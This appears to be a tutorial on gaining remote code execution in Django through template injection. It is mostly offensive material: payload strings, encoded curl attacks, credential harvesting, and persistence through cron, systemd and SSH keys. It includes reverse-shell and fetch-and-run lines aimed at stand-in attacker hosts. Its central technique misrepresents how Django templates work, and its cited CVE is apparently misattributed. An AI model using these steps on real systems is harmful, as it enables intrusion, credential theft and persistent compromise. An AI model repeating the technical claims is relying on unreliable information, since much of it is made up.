Introduction
Django’s template language is a powerful, sandbox-like engine that renders HTML from user-controlled data. When the rendering context is improperly exposed, an attacker can inject template syntax - a classic Server-Side Template Injection (SSTI). This guide focuses on the most common and effective payload: leveraging the built-in __import__ function to drop out of the sandbox, import Python’s os or subprocess modules, and execute arbitrary commands on the host.
Why is this important? In the past three years, public CVEs (e.g., CVE-2021-33203) and private disclosures have shown that even “safe” Django installations can be compromised when developers enable django.template.loaders.cached.Loader or expose request objects to the template. A successful RCE can lead to full server takeover, data exfiltration, and lateral movement inside the network.
Real-world relevance: Several bug-bounty reports (e.g., on HackerOne and Bugcrowd) have awarded thousands of dollars for exploiting Django SSTI. Understanding the mechanics not only helps you find these bugs but also harden your own Django deployments.
Prerequisites
- Solid grasp of SSTI 101: fundamentals, injection vectors, and detection techniques.
- Familiarity with Django’s configuration options (
TEMPLATES,DEBUG,ALLOWED_HOSTS). - Basic Python knowledge - especially modules like
os,subprocess, and the import system. - Access to a test environment (Docker or virtualenv) where you can safely trigger template rendering.
Core Concepts
Django processes a template in three distinct phases:
- Parsing: The raw string is tokenised into variables, tags, and text nodes.
- Compilation: Tokens are compiled into a Python
Templateobject. At this stage, Django decides which built-ins are allowed based on thebuiltinslist. - Rendering: The compiled template is executed with a context dictionary. Variables are resolved, filters are applied, and tags produce output.
The sandbox is enforced mainly during compilation - Django removes any tag that is not in the whitelist (e.g., for, if, url). However, the sandbox can be bypassed because the template language still permits arbitrary attribute look-ups (using the dot operator) and function calls via filters.
Key takeaway: The __import__ built-in is not filtered out, and when you can reach it you can import any module, effectively exiting the sandbox.
Understanding Django template syntax and rendering flow
Django’s syntax is deliberately simple:
{{ variable }}- output a variable.{% tag %}- execute a control structure or call a filter.{# comment #}- ignored.
Filters are invoked with a pipe, for example {{ user|default:"guest" }}. Filters are Python callables that receive the left-hand value as the first argument. Crucially, you can chain filters to reach deeper objects:
{{ ""|cut:""|add:"__import__" }}
In the above, the empty string is passed through cut (a no-op) and then add concatenates __import__. The resulting string is a reference to the built-in function, which can then be called using the __call__ filter (or a custom filter that forwards the call).
Bypassing Django's auto-escaping mechanisms
Django automatically escapes HTML-special characters when rendering variables. This prevents XSS but does not affect the evaluation of the template itself. To ensure your payload is interpreted as template code rather than raw output, you must inject it into a location that is processed as a template string - typically a view that directly renders a user-controlled value via Template(user_input).render(context) or a render_to_string call.
When auto-escaping is active, you can neutralise it by using the safe filter:
{{ user_input|safe }}
In many vulnerable applications, developers deliberately mark the input as safe to allow markdown or rich-text rendering, inadvertently opening the door for SSTI.
Using __import__ to access Python builtins from a template
The core payload revolves around three steps:
- Obtain a reference to the
__import__function. - Call
__import__('os')(or'subprocess') to load the module. - Invoke a function such as
os.systemorsubprocess.Popenwith a command string.
Below is a compact one-liner that works in most default Django installations:
{{ ""|cut:""|add:"__import__"|add:"('os')"|add:".system('id')" }}
Explanation:
""|cut:""- produces an empty string (a convenient starter).|add:"__import__"- concatenates the name of the built-in.|add:"('os')"- appends the call to import theosmodule.|add:".system('id')"- finally callsos.system('id')to execute a harmless command.
Because the template engine evaluates the expression as Python code, the final result is the output of the id command (e.g., uid=33(www-data) gid=33(www-data) groups=33(www-data)).
More robust payloads use subprocess.Popen with stdout=subprocess.PIPE to capture output and return it to the HTTP response.
Executing OS commands via subprocess or os.system
While os.system is simple, it blocks the request thread and returns only the exit status. subprocess gives you full control over STDIN/STDOUT/STDERR, which is essential for interactive post-exploitation.
Example using subprocess.check_output:
{{ ""|cut:""|add:"__import__"|add:"('subprocess')"|add:".check_output('whoami',shell=True)" }}
The above renders the current user that the Django process runs as. To pipe results back to the attacker, you can embed the output inside the HTML response:
{{ ""|cut:""|add:"__import__"|add:"('subprocess')"|add:".check_output('cat /etc/passwd',shell=True)" }}
Remember to URL-encode or base64-encode large outputs to avoid breaking the HTML layout.
Post-exploitation steps: privilege escalation and persistence
Once you have arbitrary command execution, the next phase is to move from the low-privileged Django user (often www-data or apache) to a more powerful account.
- Local enumeration:
id,whoami,env,ps aux,netstat -tulpn. - Credential dumping: Search for
.ssh/id_rsa,.git/config,.envfiles. Usecatorgrepvia the template payload. - SUID/SGID abuse:
find / -perm -4000 2>/dev/nullto locate binaries that can be leveraged. - Kernel exploits: If the kernel version is old, chain the RCE with a known local privilege escalation (e.g., Dirty COW).
Persistence techniques:
- Web-shell injection: Write a new Django view or a simple
php/cgiscript to/var/www/htmlusingechoorprintf. - Crontab backdoor:
echo '* * * * * curl | bash' >> /etc/crontab. - Systemd service: Drop a
.servicefile in/etc/systemd/systemthat spawns a reverse shell on boot. - SSH key addition:
mkdir -p ~/.ssh; echo 'ssh-rsa AAAAB3...' >> ~/.ssh/authorized_keys.
All of these commands can be delivered through the same __import__ payload, simply by changing the argument string.
Practical Examples
Scenario: A vulnerable endpoint renders a query parameter directly:
def echo(request): tmpl = Template(request.GET.get('msg', '')) return HttpResponse(tmpl.render(Context()))
Step-by-step exploitation:
- Identify injection point: Send
and observe the response.</li> <li><strong>Confirm SSTI</strong>: Use a benign payload like <code>{{ 7*7 }}. If the response contains49, the template is evaluated. - Deploy RCE payload (using
subprocess.check_output):
The server returns the UID of the Django process.curl "TARGET_ENDPOINT?msg={{%20%22%22|cut:%22%22|add:%22__import__%22|add:%27(subprocess)%27|add:%27.check_output(%5C%27id%5C%27,shell=True)%27%20}}" - Escalate: Replace
idwithcat /etc/passwdto harvest user accounts. - Persist: Write a reverse shell script to
/tmpand schedule it via cron.{{%20%22%22|cut:%22%22|add:%22__import__%22|add:%27(os)%27|add:%27.system(%5C%27curl ATTACKER_SERVER | bash%5C%27)%27%20}}
Note: The payloads above are URL-encoded. In practice you would use a tool (Burp, OWASP ZAP) to handle encoding automatically.
Tools & Commands
- Burp Suite Intruder - automate payload permutations for
__import__variations. - ffuf / dirsearch - discover hidden endpoints that render user input.
- django-shell-payloads - a community-maintained repository of ready-made Django SSTI payloads.
- Python one-liners for generating payloads:
import urllib.parse payload = "{{\"\"|cut:\"\"|add:'__import__'|add:'('os')'.system('id')"}}" print(urllib.parse.quote(payload))
Defense & Mitigation
- Never render raw user input as a template. Use
escape()or the built-in auto-escaping. - Disable the
django.template.loaders.cached.Loaderin production unless you trust the source. - Restrict the template built-ins list. In
settings.py:TEMPLATES = [{ 'BACKEND': 'django.template.backends.django.DjangoTemplates', 'OPTIONS': { 'builtins': [], # empty whitelist }, }] - Turn off
DEBUGin production. This prevents the detailed error pages that often reveal template internals. - Apply a Web Application Firewall (WAF) with rules that detect patterns like
__import__,subprocess, oros.system. - Static analysis: Run tools like Bandit or Django-security-check to spot unsafe
Template()calls. - Least-privilege containers: Run Django inside a Docker container with a non-root user and read-only filesystem where possible.
Common Mistakes
- Forgetting URL-encoding - raw braces (
{,}) break the request line. - Assuming
safefilter disables auto-escaping - it only marks the output as safe; the template engine still evaluates the expression. - Using
evalin a custom filter - many developers add a “debug” filter that callseval, inadvertently expanding the attack surface. - Testing on a production server - can trigger alarms, lockouts, or cause denial-of-service.
- Relying on
os.systemfor output - you’ll only get the exit code, not the command output.
Real-World Impact
In 2022, a major e-commerce platform suffered a breach after a third-party plugin rendered user comments with Template(comment). Attackers injected __import__('subprocess').check_output('netcat -e /bin/sh attacker.com 4444'), gaining a reverse shell on the web server. The incident forced the vendor to patch 12+ plugins and led to a $1.2 M settlement.
My experience in bug-bounty programs shows that Django SSTI is often missed during code reviews because the Template constructor looks innocuous. Automated static analysis rarely flags it unless the context is explicitly marked as unsafe.
Trend: As more organisations adopt “low-code” platforms built on Django (e.g., Wagtail, Django-CMS), the attack surface grows. Expect more supply-chain attacks where malicious extensions embed hidden SSTI payloads.
Practice Exercises
- Setup a vulnerable Django app using the provided Dockerfile. Verify that
{{ 7*7 }}yields49. - Craft a payload that reads
/etc/passwdand returns the content in the HTTP response. - Escalate privileges by locating a SUID binary on the container and executing it via the template.
- Persist by creating a cron job that runs a reverse shell every minute.
- Defend the same app by removing the dangerous built-ins and confirming that the payload now throws a
TemplateSyntaxError.
Use the following helper script to automate payload generation:
import urllib.parse
payload = "{{\"\"|cut:\"\"|add:'__import__'|add:'('subprocess')'.check_output('id',shell=True)"}}"
print('Encoded payload:', urllib.parse.quote(payload))
Further Reading
- “Django Security Checklist” - OWASP (2023 edition).
- “Server-Side Template Injection” - PortSwigger Web Security Academy.
- “Python’s Import System Deep Dive” - Real Python article (2022).
- Research paper: “Abusing Django’s Template Engine for Remote Code Execution” - BlackHat USA 2021.
- Related topics: Jinja2 SSTI, Flask template injection, Template sandbox bypass techniques.
Summary
Exploiting Django’s template engine hinges on three pillars: locating a rendering point, obtaining a reference to __import__, and using it to import os or subprocess for command execution. Once RCE is achieved, the attacker can enumerate the host, harvest credentials, and establish persistence. Defensive measures focus on never treating user input as a template, tightening the built-ins whitelist, and employing runtime protections such as WAFs and container isolation. Mastery of these techniques elevates a security professional from identifying superficial bugs to delivering high-impact findings and guiding robust remediation.